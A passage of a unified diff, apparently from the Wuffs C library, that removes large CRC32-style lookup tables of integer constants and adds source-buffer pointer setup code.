4000285905, 734575199, 2378150379, 3159862134, 438345922, -- 2283203314, 778166598, 529136603, 3120492655, 2086260449, 3660498261, 3955679176, 1303499900, -- 3153699989, 495890209, 744928700, 2316418568, 1337360518, 3921775410, 3626602927, 2120129051, -- 4022892092, 1237286280, 2018993941, 3726666913, 461853231, 3186645403, 2350400262, 711936178, -- 3693557851, 2052076527, 1270360434, 3989775046, 677911624, 2384402428, 3220639073, 427820757, -- 1202443118, 3789347034, 3493118535, 1984154099, 3018127229, 362020041, 612099668, 2181885408, -- 1950653705, 3526596285, 3822816288, 1168934804, 2148251930, 645706414, 395618355, 2984485767, -- 544559008, 2248295444, 3085590153, 295523645, 3560598451, 1917673479, 1134918298, 3855773998, -- 328860103, 3052210803, 2214924526, 577903450, 3889505748, 1101147744, 1883911421, 3594338121, -- 3424493451, 1785369663, 1535282850, 4260726038, 944946072, 2653270060, 2949491377, 163225861, -- 4294103532, 1501944408, 1752023237, 3457862513, 196998655, 2915761739, 2619532502, 978710370, -- 2881684293, 229902577, 1012666988, 2586515928, 1603020630, 4193987810, 3356702335, 1852063179, -- 2553040162, 1046169238, 263412747, 2848217023, 1818454321, 3390333573, 4227627032, 1569420204, -- 60859927, 2782375331, 2487203646, 843627658, 4159668740, 1368951216, 1617990445, 3322386585, -- 810543216, 2520310724, 2815490393, 27783917, 3288386659, 1652017111, 1402985802, 4125677310, -- 1685994201, 3255382381, 4091620336, 1435902020, 2419138250, 910562686, 128847843, 2715354199, -- 1469150398, 4058414858, 3222168983, 1719234083, 2749255853, 94984985, 876691844, 2453031472, -- }, { -- 0, 3433693342, 1109723005, 2391738339, 2219446010, 1222643300, 3329165703, 180685081, -- 3555007413, 525277995, 2445286600, 1567235158, 1471092047, 2600801745, 361370162, 3642757804, -- 2092642603, 2953916853, 1050555990, 4063508168, 4176560081, 878395215, 3134470316, 1987983410, -- 2942184094, 1676945920, 3984272867, 567356797, 722740324, 3887998202, 1764827929, 2778407815, -- 4185285206, 903635656, 3142804779, 2012833205, 2101111980, 2979425330, 1058630609, 4088621903, -- 714308067, 3862526333, 1756790430, 2753330688, 2933487385, 1651734407, 3975966820, 542535930, -- 2244825981, 1231508451, 3353891840, 188896414, 25648519, 3442302233, 1134713594, 2399689316, -- 1445480648, 2592229462, 336416693, 3634843435, 3529655858, 516441772, 2420588879, 1559052753, -- 698204909, 3845636723, 1807271312, 2803025166, 2916600855, 1635634313, 4025666410, 593021940, -- 4202223960, 919787974, 3093159461, 1962401467, 2117261218, 2996361020, 1008193759, 4038971457, -- 1428616134, 2576151384, 386135227, 3685348389, 3513580860, 499580322, 2471098945, 1608776415, -- 2260985971, 1248454893, 3303468814, 139259792, 42591881, 3458459159, 1085071860, 2349261162, -- 3505103035, 474062885, 2463016902, 1583654744, 1419882049, 2550902495, 377792828, 3660491170, -- 51297038, 3483679632, 1093385331, 2374089965, 2269427188, 1273935210, 3311514249, 164344343, -- 2890961296, 1627033870, 4000683757, 585078387, 672833386, 3836780532, 1782552599, 2794821769, -- 2142603813, 3005188795, 1032883544, 4047146438, 4227826911, 928351297, 3118105506, 1970307900, -- 1396409818, 2677114180, 287212199, 3719594553, 3614542624, 467372990, 2505346141, 1509854403, -- 2162073199, 1282711281, 3271268626, 240228748, 76845205, 3359543307, 1186043880, 2317064054, -- 796964081, 3811226735, 1839575948, 2702160658, 2882189835, 1734392469, 3924802934, 625327592, -- 4234522436, 818917338, 3191908409, 1927981223, 2016387518, 3028656416, 973776579, 4137723485, -- 2857232268, 1726474002, 3899187441, 616751215, 772270454, 3803048424, 1814228491, 2693328533, -- 2041117753, 3036871847, 999160644, 4146592730, 4259508931, 826864221, 3217552830, 1936586016, -- 3606501031, 442291769, 2496909786, 1484378436, 1388107869, 2652297411, 278519584, 3694387134, -- 85183762, 3384397196, 1194773103, 2342308593, 2170143720, 1307820918, 3279733909, 265733131, -- 2057717559, 3054258089, 948125770, 4096344276, 4276898253, 843467091, 3167309488, 1885556270, -- 2839764098, 1709792284, 3949353983, 667704161, 755585656, 3785577190, 1865176325, 2743489947, -- 102594076, 3401021058, 1144549729, 2291298815, 2186770662, 1325234296, 3228729243, 215514885, -- 3589828009, 424832311, 2547870420, 1534552650, 1370645331, 2635621325, 328688686, 3745342640, -- 2211456353, 1333405183, 3254067740, 224338562, 127544219, 3408931589, 1170156774, 2299866232, -- 1345666772, 2627681866, 303053225, 3736746295, 3565105198, 416624816, 2522494803, 1525692365, -- 4285207626, 868291796, 3176010551, 1910772649, 2065767088, 3079346734, 956571085, 4121828691, -- 747507711, 3760459617, 1856702594, 2717976604, 2831417605, 1684930971, 3940615800, 642451174, -- }, -- { -- 0, 393942083, 787884166, 965557445, 1575768332, 1251427663, 1931114890, 1684106697, -- 3151536664, 2896410203, 2502855326, 2186649309, 3862229780, 4048545623, 3368213394, 3753496529, -- 2898281073, 3149616690, 2184604407, 2504883892, 4046197629, 3864463166, 3755621371, 3366006712, -- 387506281, 6550570, 971950319, 781573292, 1257550181, 1569695014, 1677892067, 1937345952, -- 2196865699, 2508887776, 2886183461, 3145514598, 3743273903, 3362179052, 4058774313, 3868258154, -- 958996667, 777139448, 400492605, 10755198, 1690661303, 1941857780, 1244879153, 1565019506, -- 775012562, 961205393, 13101140, 398261271, 1943900638, 1688634781, 1563146584, 1246801179, -- 2515100362, 2190636681, 3139390028, 2892258831, 3355784134, 3749586821, 3874691904, 4052225795, -- 3734110983, 3387496260, 4033096577, 3877584834, 2206093835, 2483373640, 2911402637, 3136515790, -- 1699389727, 1915860316, 1270647193, 1556585946, 950464531, 803071056, 374397077, 19647702, -- 1917993334, 1697207605, 1554278896, 1272937907, 800985210, 952435769, 21510396, 372452543, -- 3381322606, 3740399405, 3883715560, 4027047851, 2489758306, 2199758369, 3130039012, 2917895847, -- 1550025124, 1259902439, 1922410786, 1710144865, 26202280, 385139947, 796522542, 939715693, -- 3887801276, 4039129087, 3377269562, 3728088953, 3126293168, 2905368307, 2493602358, 2212122229, -- 4037264341, 3889747862, 3730172755, 3375300368, 2907673305, 3124004506, 2209987167, 2495786524, -- 1266377165, 1543533966, 1703758155, 1928748296, 379007169, 32253058, 945887303, 790236164, -- 1716846671, 1898845196, 1218652361, 1608006794, 1002000707, 750929152, 357530053, 36990342, -- 3717046871, 3405166100, 4084959953, 3825245842, 2153902939, 2535122712, 2929187805, 3119304606, -- 3398779454, 3723384445, 3831720632, 4078468859, 2541294386, 2147616625, 3113171892, 2935238647, -- 1900929062, 1714877541, 1606142112, 1220599011, 748794154, 1004184937, 39295404, 355241455, -- 3835986668, 4091516591, 3394415210, 3710500393, 3108557792, 2922629027, 2545875814, 2160455461, -- 1601970420, 1208431799, 1904871538, 1727077425, 43020792, 367748539, 744905086, 991776061, -- 1214562461, 1595921630, 1720903707, 1911159896, 361271697, 49513938, 998160663, 738569556, -- 4089209477, 3838277318, 3712633347, 3392233024, 2924491657, 3106613194, 2158369551, 2547846988, -- 3100050248, 2948339467, 2519804878, 2169126797, 3844821572, 4065347079, 3420289730, 3701894785, -- 52404560, 342144275, 770279894, 982687125, 1593045084, 1233708063, 1879431386, 1736363161, -- 336019769, 58479994, 988899775, 764050940, 1240141877, 1586496630, 1729968307, 1885744368, -- 2950685473, 3097818978, 2166999975, 2522013668, 4063474221, 3846743662, 3703937707, 3418263272, -- 976650731, 760059304, 348170605, 62635310, 1742393575, 1889649828, 1227683937, 1582820386, -- 2179867635, 2526361520, 2937588597, 3093503798, 3691148031, 3413731004, 4076100217, 3851374138, -- 2532754330, 2173556697, 3087067932, 2944139103, 3407516310, 3697379029, 3857496592, 4070026835, -- 758014338, 978679233, 64506116, 346250567, 1891774606, 1740186829, 1580472328, 1229917259, -- }, { -- 0, 4022496062, 83218493, 3946298115, 166436986, 3861498692, 220098631, 3806075769, -- 332873972, 4229245898, 388141257, 4175494135, 440197262, 4127099824, 516501683, 4044053389, -- 665747944, 3362581206, 593187285, 3432594155, 776282514, 3246869164, 716239279, 3312622225, -- 880394524, 3686509090, 814485793, 3746462239, 1033003366, 3528460888, 963096923, 3601193573, -- 1331495888, 2694801646, 1269355501, 2758457555, 1186374570, 2843003028, 1111716759, 2910918825, -- 1552565028, 3007850522, 1484755737, 3082680359, 1432478558, 3131279456, 1368666979, 3193329757, -- 1760789048, 2268195078, 1812353541, 2210675003, 1628971586, 2396670332, 1710092927, 2318375233, -- 2066006732, 2498144754, 2144408305, 2417195471, 1926193846, 2634877320, 1983558283, 2583222709, -- 2662991776, 1903717534, 2588923805, 1972223139, 2538711002, 2022952164, 2477029351, 2087066841, -- 2372749140, 1655647338, 2308478825, 1717238871, 2223433518, 1799654416, 2155034387, 1873894445, -- 3105130056, 1456926070, 3185661557, 1378041163, 2969511474, 1597852940, 3020617231, 1539874097, -- 2864957116, 1157737858, 2922780289, 1106542015, 2737333958, 1290407416, 2816325371, 1210047941, -- 3521578096, 1042640718, 3574781005, 986759027, 3624707082, 936300340, 3707335735, 859512585, -- 3257943172, 770846650, 3334837433, 688390023, 3420185854, 605654976, 3475911875, 552361981, -- 4132013464, 428600998, 4072428965, 494812827, 4288816610, 274747100, 4216845791, 345349857, -- 3852387692, 173846098, 3781891409, 245988975, 3967116566, 62328360, 3900749099, 121822741, -- 3859089665, 164061759, 3807435068, 221426178, 4025395579, 2933317, 3944446278, 81334904, -- 4124199413, 437265099, 4045904328, 518386422, 4231653775, 335250097, 4174133682, 386814604, -- 3249244393, 778691543, 3311294676, 714879978, 3359647891, 662848429, 3434477742, 595039120, -- 3531393053, 1035903779, 3599308832, 961245982, 3684132967, 877986649, 3747788890, 815846244, -- 2841119441, 1184522735, 2913852140, 1114616274, 2696129195, 1332855189, 2756082326, 1266946472, -- 3129952805, 1431118107, 3195705880, 1371074854, 3009735263, 1554415969, 3079748194, 1481855324, -- 2398522169, 1630855175, 2315475716, 1707159610, 2266835779, 1759461501, 2213084030, 1814728768, -- 2636237773, 1927520499, 2580814832, 1981182158, 2496293815, 2064121993, 2420095882, 2147340468, -- 2025787041, 2541577631, 2085281436, 2475210146, 1901375195, 2660681189, 1973518054, 2590184920, -- 1801997909, 2225743211, 1872600680, 2153772374, 1652813359, 2369881361, 1719025170, 2310296876, -- 1594986313, 2966676599, 1541693300, 3022402634, 1459236659, 3107472397, 1376780046, 3184366640, -- 1288097725, 2734990467, 1211309952, 2817619134, 1160605639, 2867791097, 1104723962, 2920993988, -- 937561457, 3626001999, 857201996, 3704993394, 1040821515, 3519792693, 989625654, 3577615880, -- 607473029, 3421972155, 549494200, 3473077894, 769584639, 3256649409, 690699714, 3337180924, -- 273452185, 4287555495, 347692196, 4219156378, 430386403, 4133832669, 491977950, 4069562336, -- 60542061, 3965298515, 124656720, 3903616878, 175139863, 3853649705, 243645482, 3779581716, -- }, { -- 0, 3247366080, 1483520449, 2581751297, 2967040898, 1901571138, 3904227907, 691737987, -- 3133399365, 2068659845, 3803142276, 589399876, 169513671, 3415493895, 1383475974, 2482566342, -- 2935407819, 1870142219, 4137319690, 924099274, 506443593, 3751897225, 1178799752, 2278412616, -- 339027342, 3585866318, 1280941135, 2379694991, 2766951948, 1700956620, 4236308429, 1024339981, -- 2258407383, 1192382487, 3740284438, 528411094, 910556245, 4157285269, 1848198548, 2946996820, -- 1012887186, 4258378066, 1681119059, 2780629139, 2357599504, 1292419792, 3572147409, 358906641, -- 678054684, 3924071644, 1879503581, 2978491677, 2561882270, 1497229150, 3235873119, 22109855, -- 2460592729, 1395094937, 3401913240, 189516888, 577821147, 3825075739, 2048679962, 3146956762, -- 3595049455, 398902831, 2384764974, 1336573934, 1720805997, 2803873197, 1056822188, 4285729900, -- 1821112490, 2902796138, 887570795, 4117339819, 3696397096, 500978920, 2218668777, 1169222953, -- 2025774372, 3106931428, 550659301, 3780950821, 3362238118, 166293862, 2416645991, 1367722151, -- 3262987361, 66315169, 2584839584, 1537170016, 1923370979, 3005911075, 717813282, 3947244002, -- 1356109368, 2438613496, 146288633, 3375820857, 3759007162, 562248314, 3093388411, 2045739963, -- 3927406461, 731490493, 2994458300, 1945440636, 1523451135, 2604718911, 44219710, 3274466046, -- 4263662323, 1068272947, 2790189874, 1740649714, 1325080945, 2406874801, 379033776, 3608758128, -- 1155642294, 2238671990, 479005303, 3708016055, 4097359924, 901128180, 2891217397, 1843045941, -- 2011248031, 3060787807, 797805662, 3993195422, 3342353949, 112630237, 2673147868, 1591353372, -- 3441611994, 212601626, 2504944923, 1421914843, 2113644376, 3161815192, 630660761, 3826893145, -- 3642224980, 412692116, 2172340373, 1089836885, 1775141590, 2822790422, 832715543, 4029474007, -- 1674842129, 2723860433, 1001957840, 4197873168, 3540870035, 310623315, 2338445906, 1257178514, -- 4051548744, 821257608, 2836464521, 1755307081, 1101318602, 2150241802, 432566283, 3628511179, -- 1270766349, 2318435533, 332587724, 3529260300, 4217841807, 988411727, 2735444302, 1652903566, -- 1602977411, 2651169091, 132630338, 3328776322, 4015131905, 786223809, 3074340032, 1991273216, -- 3846741958, 616972294, 3173262855, 2091579847, 1435626564, 2485072772, 234706309, 3430124101, -- 2712218736, 1613231024, 4190475697, 944458353, 292577266, 3506339890, 1226630707, 2291284467, -- 459984181, 3672380149, 1124496628, 2189994804, 2880683703, 1782407543, 4091479926, 844224694, -- 257943739, 3469817723, 1462980986, 2529005242, 3213269817, 2114471161, 3890881272, 644152632, -- 3046902270, 1947391550, 3991973951, 746483711, 88439420, 3301680572, 1563018173, 2628197501, -- 657826727, 3871046759, 2136545894, 3201811878, 2548879397, 1449267173, 3481299428, 235845156, -- 2650161890, 1551408418, 3315268387, 68429027, 758067552, 3970035360, 1967360161, 3033356129, -- 2311284588, 1213053100, 3517963949, 270598509, 958010606, 4170500910, 1635167535, 2700636911, -- 855672361, 4069415401, 1802256360, 2866995240, 2212099499, 1113008747, 3686091882, 440112042, -- }, { -- 0, 2611301487, 3963330207, 2006897392, 50740095, 2560849680, 4013794784, 1956178319, -- 101480190, 2645113489, 3929532513, 1905435662, 84561281, 2662269422, 3912356638, 1922342769, -- 202960380, 2545787283, 3760419683, 2072395532, 253679235, 2495322860, 3810871324, 2021655667, -- 169122562, 2444351341, 3861841309, 2106214898, 152215677, 2461527058, 3844685538, 2123133581, -- 405920760, 2207553431, 4094313831, 1873742088, 456646791, 2157096168, 4144791064, 1823027831, -- 507358470, 2241388905, 4060492697, 1772322806, 490444409, 2258557462, 4043311334, 1789215881, -- 338245124, 2408348267, 4161972379, 1672996084, 388959611, 2357870868, 4212429796, 1622269835, -- 304431354, 2306870421, 4263435877, 1706791434, 287538053, 2324051946, 4246267162, 1723705717, -- 811841520, 2881944479, 3696765295, 1207788800, 862293135, 2831204576, 3747484176, 1157324415, -- 913293582, 2915732833, 3662962577, 1106318334, 896137841, 2932651550, 3646055662, 1123494017, -- 1014716940, 2816349795, 3493905555, 1273334012, 1065181555, 2765630748, 3544645612, 1222882179, -- 980888818, 2714919069, 3595350637, 1307180546, 963712909, 2731826146, 3578431762, 1324336509, -- 676490248, 3019317351, 3295277719, 1607253752, 726947703, 2968591128, 3345992168, 1556776327, -- 777919222, 3053147801, 3261432937, 1505806342, 760750473, 3070062054, 3244539670, 1522987897, -- 608862708, 3220163995, 3362856811, 1406423812, 659339915, 3169449700, 3413582868, 1355966587, -- 575076106, 3118709605, 3464325525, 1440228858, 557894773, 3135602714, 3447411434, 1457397381, -- 1623683040, 4217512847, 2365387135, 391757072, 1673614495, 4167309552, 2415577600, 341804655, -- 1724586270, 4251866481, 2331019137, 290835438, 1707942497, 4268256782, 2314648830, 307490961, -- 1826587164, 4152020595, 2162433155, 457265388, 1876539747, 4101829900, 2212636668, 407333779, -- 1792275682, 4051089549, 2263378557, 491595282, 1775619997, 4067460082, 2246988034, 508239213, -- 2029433880, 3813931127, 2496473735, 258500328, 2079362919, 3763716872, 2546668024, 208559511, -- 2130363110, 3848244873, 2462145657, 157552662, 2113730969, 3864638966, 2445764358, 174205801, -- 1961777636, 4014675339, 2564147067, 57707284, 2011718299, 3964481268, 2614361092, 7778411, -- 1927425818, 3913769845, 2665066885, 92077546, 1910772837, 3930150922, 2648673018, 108709525, -- 1352980496, 3405878399, 3164554895, 658115296, 1403183983, 3355946752, 3214507504, 607924639, -- 1453895406, 3440239233, 3130208369, 557218846, 1437504913, 3456883198, 3113552654, 573589345, -- 1555838444, 3340335491, 2961681267, 723707676, 1606028947, 3290383100, 3011612684, 673504355, -- 1521500946, 3239382909, 3062619533, 758026722, 1505130605, 3256038402, 3045975794, 774417053, -- 1217725416, 3543158663, 2762906999, 1057739032, 1267939479, 3493229816, 2812847624, 1007544935, -- 1318679830, 3577493881, 2728586121, 956803046, 1302285929, 3594125830, 2711933174, 973184153, -- 1150152212, 3743982203, 2830528651, 856898788, 1200346475, 3694041348, 2880457716, 806684571, -- 1115789546, 3643069573, 2931426933, 891243034, 1099408277, 3659722746, 2914794762, 907637093, -- }, { -- 0, 3717650821, 1616688459, 3184159950, 3233376918, 489665299, 2699419613, 2104690264, -- 1510200173, 2274691816, 979330598, 3888758691, 2595928571, 1194090622, 4209380528, 661706037, -- 3020400346, 1771143007, 3562738577, 164481556, 1958661196, 2837976521, 350386439, 3379863682, -- 3993269687, 865250354, 2388181244, 1406015865, 784146209, 4079732388, 1323412074, 2474079215, -- 3011398645, 1860735600, 3542286014, 246687547, 1942430051, 2924607718, 328963112, 3456978349, -- 3917322392, 887832861, 2300653011, 1421341782, 700772878, 4099025803, 1234716485, 2483986112, -- 125431087, 3673109674, 1730500708, 3132326369, 3351283641, 441867836, 2812031730, 2047535991, -- 1568292418, 2163009479, 1025936137, 3769651852, 2646824148, 1079348561, 4255113631, 537475098, -- 3180171691, 1612400686, 3721471200, 4717925, 2100624189, 2694980280, 493375094, 3237910515, -- 3884860102, 974691139, 2278750093, 1514417672, 657926224, 4204917205, 1198234907, 2600289438, -- 160053105, 3558665972, 1775665722, 3024116671, 3375586791, 346391650, 2842683564, 1962488105, -- 1401545756, 2384412057, 869618007, 3997403346, 2469432970, 1319524111, 4083956673, 788193860, -- 250862174, 3546612699, 1856990997, 3006903952, 3461001416, 333211981, 2920678787, 1937824774, -- 1425017139, 2305216694, 883735672, 3912918525, 2487837605, 1239398944, 4095071982, 696455019, -- 3136584836, 1734518017, 3668494799, 121507914, 2051872274, 2816200599, 437363545, 3347544796, -- 3774328809, 1029797484, 2158697122, 1564328743, 542033279, 4258798842, 1074950196, 2642717105, -- 2691310871, 2113731730, 3224801372, 497043929, 1624461185, 3175454212, 9435850, 3709412175, -- 4201248378, 671035391, 2587181873, 1201904308, 986750188, 3880142185, 1519135143, 2266689570, -- 342721485, 3388693064, 1949382278, 2846355203, 3570723163, 155332830, 3028835344, 1763607957, -- 1315852448, 2482538789, 775087595, 4087626862, 2396469814, 1396827059, 4002123645, 857560824, -- 320106210, 3464673127, 1934154665, 2933785132, 3551331444, 238804465, 3018961215, 1852270778, -- 1226292623, 2491507722, 692783300, 4108177729, 2309936921, 1412959900, 3924976210, 879016919, -- 2803091512, 2055541181, 3343875443, 450471158, 1739236014, 3124525867, 133568485, 3663777376, -- 4245691221, 545702608, 2639048222, 1088059291, 1034514883, 3762268230, 1576387720, 2153979149, -- 501724348, 3228659001, 2109407735, 2687359090, 3713981994, 13109167, 3171052385, 1620357860, -- 1206151121, 2591211092, 666423962, 4197321503, 2271022407, 1523307714, 3875649548, 982999433, -- 2850034278, 1953942499, 3384583981, 338329256, 1767471344, 3033506165, 151375291, 3566408766, -- 4091789579, 779425934, 2478797888, 1311354309, 861580189, 4006375960, 1392910038, 2391852883, -- 2929327945, 1930372812, 3469036034, 324244359, 1847629279, 3015068762, 243015828, 3555391761, -- 4103744548, 688715169, 2496043375, 1229996266, 874727090, 3920994103, 1417671673, 2313759356, -- 446585235, 3339223062, 2059594968, 2807313757, 3660002053, 129100416, 3128657486, 1743609803, -- 1084066558, 2634765179, 549535669, 4250396208, 2149900392, 1571961325, 3765982499, 1039043750, -- }, { -- 0, 2635063670, 3782132909, 2086741467, 430739227, 2225303149, 4173482934, 1707977408, -- 861478454, 2924937024, 3526875803, 1329085421, 720736557, 3086643291, 3415954816, 1452586230, -- 1722956908, 4223524122, 2279405761, 450042295, 2132718455, 3792785921, 2658170842, 58693292, -- 1441473114, 3370435372, 3028674295, 696911745, 1279765825, 3511176247, 2905172460, 807831706, -- 3445913816, 1349228974, 738901109, 2969918723, 3569940419, 1237784245, 900084590, 2829701656, -- 4265436910, 1664255896, 525574723, 2187084597, 3885099509, 2057177219, 117386584, 2616249390, -- 2882946228, 920233410, 1253605401, 3619119471, 2994391983, 796207833, 1393823490, 3457937012, -- 2559531650, 92322804, 2044829231, 3840835417, 2166609305, 472659183, 1615663412, 4249022530, -- 1102706673, 3702920839, 2698457948, 1037619754, 1477802218, 3306854812, 3111894087, 611605809, -- 1927342535, 4025419953, 2475568490, 243387420, 1800169180, 4131620778, 2317525617, 388842247, -- 655084445, 3120835307, 3328511792, 1533734470, 1051149446, 2745738736, 3754524715, 1120297309, -- 340972971, 2304586973, 4114354438, 1748234352, 234773168, 2431761350, 3968900637, 1906278251, -- 2363330345, 299003487, 1840466820, 4038896370, 2507210802, 142532932, 1948239007, 3910149609, -- 3213136159, 579563625, 1592415666, 3286611140, 2787646980, 992477042, 1195825833, 3662232543, -- 3933188933, 2002801203, 184645608, 2517538462, 4089658462, 1858919720, 313391347, 2409765253, -- 3644239219, 1144605701, 945318366, 2773977256, 3231326824, 1570095902, 569697989, 3170568115, -- 2205413346, 511446676, 1646078799, 4279421497, 2598330617, 131105167, 2075239508, 3871229218, -- 2955604436, 757403810, 1363424633, 3427521551, 2844163791, 881434553, 1223211618, 3588709140, -- 3854685070, 2026779384, 78583587, 2577462869, 4235025557, 1633861091, 486774840, 2148301134, -- 3600338360, 1268198606, 938871061, 2868504675, 3476308643, 1379640277, 777684494, 3008718712, -- 1310168890, 3541595724, 2943964055, 846639841, 1471879201, 3400857943, 3067468940, 735723002, -- 2102298892, 3762382970, 2619362721, 19901655, 1692534295, 4193118049, 2240594618, 411247564, -- 681945942, 3047836192, 3385552891, 1422167693, 822682701, 2886124859, 3496468704, 1298661782, -- 469546336, 2264093718, 4203901389, 1738379451, 38812283, 2673859341, 3812556502, 2117148576, -- 3268024339, 1606809957, 598006974, 3198893512, 3680933640, 1181316734, 973624229, 2802299603, -- 4052944421, 1822222163, 285065864, 2381456382, 3896478014, 1966106696, 156323219, 2489232613, -- 2759337087, 964150537, 1159127250, 3625517476, 3184831332, 551242258, 1555722185, 3249901247, -- 2535537225, 170842943, 1984954084, 3946848146, 2391651666, 327308324, 1877176831, 4075589769, -- 263086283, 2460058045, 4005602406, 1942963472, 369291216, 2332888742, 4151061373, 1784924683, -- 1022852861, 2717425547, 3717839440, 1083595558, 626782694, 3092517008, 3291821387, 1497027645, -- 1763466407, 4094934481, 2289211402, 360544636, 1890636732, 3988730570, 2447251217, 215086695, -- 1514488465, 3343557607, 3140191804, 639919946, 1139395978, 3739626748, 2726758695, 1065936977, -- }, { -- 0, 3120290792, 2827399569, 293431929, 2323408227, 864534155, 586863858, 2600537882, -- 3481914503, 1987188591, 1729068310, 3740575486, 1173727716, 4228805132, 3983743093, 1418249117, -- 1147313999, 4254680231, 3974377182, 1428157750, 3458136620, 2011505092, 1721256893, 3747844181, -- 2347455432, 839944224, 594403929, 2593536433, 26687147, 3094146371, 2836498234, 283794642, -- 2294627998, 826205558, 541298447, 2578994407, 45702141, 3141697557, 2856315500, 331624836, -- 1196225049, 4273416689, 4023010184, 1446090848, 3442513786, 1959480466, 1706436331, 3696098563, -- 3433538001, 1968994873, 1679888448, 3722103720, 1188807858, 4280295258, 3999102243, 1470541515, -- 53374294, 3134568126, 2879970503, 307431215, 2303854645, 816436189, 567589284, 2553242188, -- 3405478781, 1929420949, 1652411116, 3682996484, 1082596894, 4185703926, 3892424591, 1375368295, -- 91404282, 3163122706, 2918450795, 336584067, 2400113305, 922028401, 663249672, 2658384096, -- 2392450098, 929185754, 639587747, 2682555979, 82149713, 3172883129, 2892181696, 362343208, -- 1091578037, 4176212829, 3918960932, 1349337804, 3412872662, 1922537022, 1676344391, 3658557359, -- 1111377379, 4224032267, 3937989746, 1396912026, 3359776896, 1908013928, 1623494929, 3644803833, -- 2377615716, 877417100, 623982837, 2630542109, 130804743, 3190831087, 2941083030, 381060734, -- 106748588, 3215393092, 2933549885, 388083925, 2350956495, 903570471, 614862430, 2640172470, -- 3386185259, 1882115523, 1632872378, 3634920530, 1135178568, 4199721120, 3945775833, 1389631793, -- 1317531835, 4152109907, 3858841898, 1610259138, 3304822232, 2097172016, 1820140617, 3582394273, -- 2165193788, 955639764, 696815021, 2423477829, 192043359, 2995356343, 2750736590, 437203750, -- 182808564, 3005133852, 2724453989, 462947725, 2157513367, 962777471, 673168134, 2447663342, -- 3312231283, 2090301595, 1844056802, 3557935370, 1326499344, 4142603768, 3885397889, 1584245865, -- 3326266917, 2142836173, 1858371508, 3611272284, 1279175494, 4123357358, 3837270743, 1564721471, -- 164299426, 2955991370, 2706223923, 414607579, 2209834945, 978107433, 724686416, 2462715320, -- 2183156074, 1004243586, 715579643, 2472360723, 140260361, 2980573153, 2698675608, 421617264, -- 1302961645, 4099032581, 3845074044, 1557460884, 3352688782, 2116952934, 1867729183, 3601371895, -- 2222754758, 1032278062, 754596439, 2499928511, 234942117, 3086693709, 2793824052, 528319708, -- 1274365761, 4061043881, 3816027856, 1518873912, 3246989858, 2020800970, 1762628531, 3505670235, -- 3223196809, 2045103969, 1754834200, 3512958704, 1247965674, 4086934018, 3806642299, 1528765331, -- 261609486, 3060532198, 2802936223, 518697591, 2246819181, 1007707781, 762121468, 2492913428, -- 213497176, 3041029808, 2755593417, 499441441, 2261110843, 1061030867, 776167850, 2545465922, -- 3274734047, 2060165687, 1807140942, 3528266662, 1229724860, 4038575956, 3788156205, 1479636677, -- 1222322711, 4045468159, 3764231046, 1504067694, 3265744756, 2069664924, 1780612837, 3554288909, -- 2270357136, 1051278712, 802445057, 2519698665, 221152243, 3033880603, 2779263586, 475261322, -- }, { -- 0, 2926088593, 2275419491, 701019378, 3560000647, 2052709654, 1402038756, 4261017717, -- 1930665807, 3715829470, 4105419308, 1524313021, 2804077512, 155861593, 545453739, 2397726522, -- 3861331614, 1213181711, 1636244477, 3488582252, 840331801, 2625561480, 3048626042, 467584747, -- 2503254481, 995897408, 311723186, 3170637091, 1090907478, 4016929991, 3332753461, 1758288292, -- 390036349, 3109546732, 2426363422, 1056427919, 3272488954, 1835443819, 1152258713, 3938878216, -- 1680663602, 3393484195, 3817652561, 1306808512, 2954733749, 510998820, 935169494, 2580880455, -- 4044899811, 1601229938, 1991794816, 3637571857, 623446372, 2336332021, 2726898695, 216120726, -- 2181814956, 744704829, 95158223, 2881711710, 1446680107, 4166125498, 3516576584, 2146575065, -- 780072698, 2148951915, 2849952665, 129384968, 4199529085, 1411853292, 2112855838, 3548843663, -- 1567451573, 4077254692, 3670887638, 1957027143, 2304517426, 657765539, 251396177, 2694091200, -- 3361327204, 1714510325, 1341779207, 3784408214, 476611811, 2986349938, 2613617024, 899690513, -- 3142211371, 354600634, 1021997640, 2458051545, 1870338988, 3239283261, 3906682575, 1186180958, -- 960597383, 2536053782, 3202459876, 277428597, 3983589632, 1125666961, 1792074851, 3300423154, -- 1246892744, 3829039961, 3455203243, 1671079482, 2657312335, 806080478, 432241452, 3081497277, -- 3748049689, 1896751752, 1489409658, 4138600427, 190316446, 2772397583, 2365053693, 580864876, -- 2893360214, 35503559, 735381813, 2243795108, 2017747153, 3593269568, 4293150130, 1368183843, -- 1560145396, 4069882981, 3680356503, 1966430470, 2295112051, 648294626, 258769936, 2701399425, -- 804156091, 2173100842, 2823706584, 103204425, 4225711676, 1438101421, 2088704863, 3524758222, -- 3134903146, 347226875, 1031468553, 2467456920, 1860935661, 3229814396, 3914054286, 1193487135, -- 3385412645, 1738661300, 1315531078, 3758225623, 502792354, 3012596019, 2589468097, 875607120, -- 1271043721, 3853125400, 3429020650, 1644831355, 2683558414, 832261023, 408158061, 3057348348, -- 953223622, 2528745559, 3211865253, 286899508, 3974120769, 1116263632, 1799381026, 3307794867, -- 2917509143, 59586950, 709201268, 2217549029, 2043995280, 3619452161, 4269064691, 1344032866, -- 3740677976, 1889445577, 1498812987, 4148069290, 180845535, 2762992206, 2372361916, 588238637, -- 1921194766, 3706423967, 4112727661, 1531686908, 2796705673, 148555288, 554857194, 2407195515, -- 26248257, 2952271312, 2251333922, 676868275, 3584149702, 2076793175, 1375858085, 4234771508, -- 2493785488, 986493953, 319029491, 3178008930, 1083533591, 4009621638, 3342158964, 1767759333, -- 3887577823, 1239362382, 1612160956, 3464433197, 864482904, 2649647049, 3022443323, 441336490, -- 1706844275, 3419730402, 3793503504, 1282724993, 2978819316, 535149925, 908921239, 2554697734, -- 380632892, 3100077741, 2433735263, 1063734222, 3265180603, 1828069930, 1161729752, 3948283721, -- 2207997677, 770953084, 71007118, 2857626143, 1470763626, 4190274555, 3490330377, 2120394392, -- 4035494306, 1591758899, 1999168705, 3644880208, 616140069, 2328960180, 2736367686, 225524183, -- }, --}; -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } - --static const uint8_t 